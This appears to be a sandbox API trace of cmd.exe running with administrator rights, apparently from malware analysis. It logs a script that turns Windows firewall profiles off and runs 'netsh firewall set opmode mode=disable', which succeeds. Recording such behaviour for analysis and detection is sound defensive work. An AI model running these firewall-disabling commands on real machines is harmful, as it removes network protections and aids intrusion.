0x0 [0250.454] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr=" entprofile state off\n") returned 1 [0250.454] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.454] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.454] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="mntprofile state off\n") returned 1 [0250.454] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.454] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.454] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="otprofile state off\n") returned 1 [0250.454] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.455] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.455] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="dprofile state off\n") returned 1 [0250.455] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.455] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.455] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="erofile state off\n") returned 1 [0250.455] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.455] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.455] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="=ofile state off\n") returned 1 [0250.455] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.455] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.455] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="dfile state off\n") returned 1 [0250.455] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.455] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.455] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="iile state off\n") returned 1 [0250.455] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.455] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.455] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="sle state off\n") returned 1 [0250.455] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.455] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.455] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="ae state off\n") returned 1 [0250.456] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.456] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.456] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e366, cchWideChar=1 | out: lpWideCharStr="b state off\n") returned 1 [0250.456] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.456] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.456] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e368, cchWideChar=1 | out: lpWideCharStr="lstate off\n") returned 1 [0250.456] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.456] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.456] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36a, cchWideChar=1 | out: lpWideCharStr="etate off\n") returned 1 [0250.456] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.456] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.456] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36c, cchWideChar=1 | out: lpWideCharStr="\nate off\n") returned 1 [0250.456] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.456] GetFileType (hFile=0xc0) returned 0x3 [0250.456] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.456] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.456] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.456] GetFileType (hFile=0xcc) returned 0x3 [0250.456] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh firewall set opmode mode=disable\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh firewall set opmode mode=disable\n", lpUsedDefaultChar=0x0) returned 40 [0250.456] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x24f678, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f678*=0x27, lpOverlapped=0x0) returned 1 [0250.456] GetProcessHeap () returned 0x410000 [0250.456] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x42fe70 [0250.457] GetProcessHeap () returned 0x410000 [0250.457] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42fe70 | out: hHeap=0x410000) returned 1 [0250.457] GetProcessHeap () returned 0x410000 [0250.457] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb0) returned 0x4297c0 [0250.457] GetProcessHeap () returned 0x410000 [0250.457] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1c) returned 0x424610 [0250.458] GetProcessHeap () returned 0x410000 [0250.458] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x54) returned 0x429880 [0250.458] GetConsoleOutputCP () returned 0x1b5 [0250.458] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0250.458] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0250.458] GetConsoleTitleW (in: lpConsoleTitle=0x24f630, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0250.458] GetProcessHeap () returned 0x410000 [0250.458] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x218) returned 0x42aa10 [0250.458] GetProcessHeap () returned 0x410000 [0250.458] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x60) returned 0x4299d0 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x420) returned 0x411320 [0250.459] SetErrorMode (uMode=0x0) returned 0x0 [0250.459] SetErrorMode (uMode=0x1) returned 0x0 [0250.459] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x411330, lpFilePart=0x24eec0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24eec0*="system32") returned 0x13 [0250.459] SetErrorMode (uMode=0x0) returned 0x1 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x411320, Size=0x44) returned 0x411320 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x411320) returned 0x44 [0250.459] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0250.459] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x104) returned 0x425b70 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1f8) returned 0x429be0 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x429be0, Size=0x106) returned 0x429be0 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429be0) returned 0x106 [0250.459] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xe8) returned 0x429d00 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x429d00, Size=0x7e) returned 0x429d00 [0250.459] GetProcessHeap () returned 0x410000 [0250.459] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429d00) returned 0x7e [0250.459] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0250.459] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x24ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ec30) returned 0x42fea0 [0250.460] FindClose (in: hFindFile=0x42fea0 | out: hFindFile=0x42fea0) returned 1 [0250.460] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x24ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ec30) returned 0xffffffffffffffff [0250.460] GetLastError () returned 0x2 [0250.460] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x24ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ec30) returned 0x42fea0 [0250.460] FindClose (in: hFindFile=0x42fea0 | out: hFindFile=0x42fea0) returned 1 [0250.460] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0250.460] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0250.460] GetConsoleTitleW (in: lpConsoleTitle=0x24f180, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0250.461] GetProcessHeap () returned 0x410000 [0250.461] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x21c) returned 0x411380 [0250.461] GetConsoleTitleW (in: lpConsoleTitle=0x411390, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0250.461] GetProcessHeap () returned 0x410000 [0250.461] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x411380, Size=0xc6) returned 0x411380 [0250.461] GetProcessHeap () returned 0x410000 [0250.461] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x411380) returned 0xc6 [0250.461] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - netsh firewall set opmode mode=disable") returned 1 [0250.462] GetProcessHeap () returned 0x410000 [0250.462] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x411380 | out: hHeap=0x410000) returned 1 [0250.462] InitializeProcThreadAttributeList (in: lpAttributeList=0x24ef38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24eef8 | out: lpAttributeList=0x24ef38, lpSize=0x24eef8) returned 1 [0250.462] UpdateProcThreadAttribute (in: lpAttributeList=0x24ef38, dwFlags=0x0, Attribute=0x60001, lpValue=0x24eee8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24ef38, lpPreviousValue=0x0) returned 1 [0250.462] GetStartupInfoW (in: lpStartupInfo=0x24f050 | out: lpStartupInfo=0x24f050*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xcc, hStdError=0xcc)) [0250.462] GetProcessHeap () returned 0x410000 [0250.462] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x20) returned 0x424640 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.462] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0250.463] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0250.463] GetProcessHeap () returned 0x410000 [0250.463] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424640 | out: hHeap=0x410000) returned 1 [0250.463] GetProcessHeap () returned 0x410000 [0250.463] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x12) returned 0x429a40 [0250.463] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\netsh.exe", lpCommandLine="netsh firewall set opmode mode=disable", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x24ef70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh firewall set opmode mode=disable", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24ef20 | out: lpCommandLine="netsh firewall set opmode mode=disable", lpProcessInformation=0x24ef20*(hProcess=0x50, hThread=0x54, dwProcessId=0x248, dwThreadId=0x74c)) returned 1 [0250.468] CloseHandle (hObject=0x54) returned 1 [0250.468] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0250.468] GetProcessHeap () returned 0x410000 [0250.468] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f370 | out: hHeap=0x410000) returned 1 [0250.468] GetEnvironmentStringsW () returned 0x42b240* [0250.468] GetProcessHeap () returned 0x410000 [0250.468] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xaea) returned 0x428980 [0250.468] FreeEnvironmentStringsW (penv=0x42b240) returned 1 [0250.468] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x24e828, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24e828, ReturnLength=0x0) returned 0x0 [0250.468] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x24e860, nSize=0x380, lpNumberOfBytesRead=0x24e820 | out: lpBuffer=0x24e860*, lpNumberOfBytesRead=0x24e820*=0x380) returned 1 [0250.468] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0257.097] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x24ee68 | out: lpExitCode=0x24ee68*=0x0) returned 1 [0257.097] CloseHandle (hObject=0x50) returned 1 [0257.097] _vsnwprintf (in: _Buffer=0x24f0d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x24ee78 | out: _Buffer="00000000") returned 8 [0257.098] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0257.098] GetProcessHeap () returned 0x410000 [0257.098] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x428980 | out: hHeap=0x410000) returned 1 [0257.098] GetEnvironmentStringsW () returned 0x42b240* [0257.098] GetProcessHeap () returned 0x410000 [0257.098] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xaea) returned 0x428980 [0257.098] FreeEnvironmentStringsW (penv=0x42b240) returned 1 [0257.098] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0257.098] GetProcessHeap () returned 0x410000 [0257.098] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x428980 | out: hHeap=0x410000) returned 1 [0257.098] GetEnvironmentStringsW () returned 0x42b240* [0257.098] GetProcessHeap () returned 0x410000 [0257.098] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xaea) returned 0x428980 [0257.098] FreeEnvironmentStringsW (penv=0x42b240) returned 1 [0257.098] GetProcessHeap () returned 0x410000 [0257.098] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429a40 | out: hHeap=0x410000) returned 1 [0257.098] DeleteProcThreadAttributeList (in: lpAttributeList=0x24ef38 | out: lpAttributeList=0x24ef38) [0257.098] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0257.100] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.100] SetConsoleMode (hConsoleHandle=0xcc, dwMode=0x0) returned 0 [0257.100] _get_osfhandle (_FileHandle=1) returned 0xcc [0257.100] GetConsoleMode (in: hConsoleHandle=0xcc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0257.100] _get_osfhandle (_FileHandle=0) returned 0xc0 [0257.100] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0257.100] GetConsoleOutputCP () returned 0x1b5 [0257.101] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0257.101] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0257.101] GetProcessHeap () returned 0x410000 [0257.101] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429d00 | out: hHeap=0x410000) returned 1 [0257.101] GetProcessHeap () returned 0x410000 [0257.101] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429be0 | out: hHeap=0x410000) returned 1 [0257.101] GetProcessHeap () returned 0x410000 [0257.101] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x425b70 | out: hHeap=0x410000) returned 1 [0257.101] GetProcessHeap () returned 0x410000 [0257.101] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x411320 | out: hHeap=0x410000) returned 1 [0257.101] GetProcessHeap () returned 0x410000 [0257.101] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x4299d0 | out: hHeap=0x410000) returned 1 [0257.102] GetProcessHeap () returned 0x410000 [0257.102] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42aa10 | out: hHeap=0x410000) returned 1 [0257.102] GetProcessHeap () returned 0x410000 [0257.102] HeapFree (in: hHeap=0x410000, 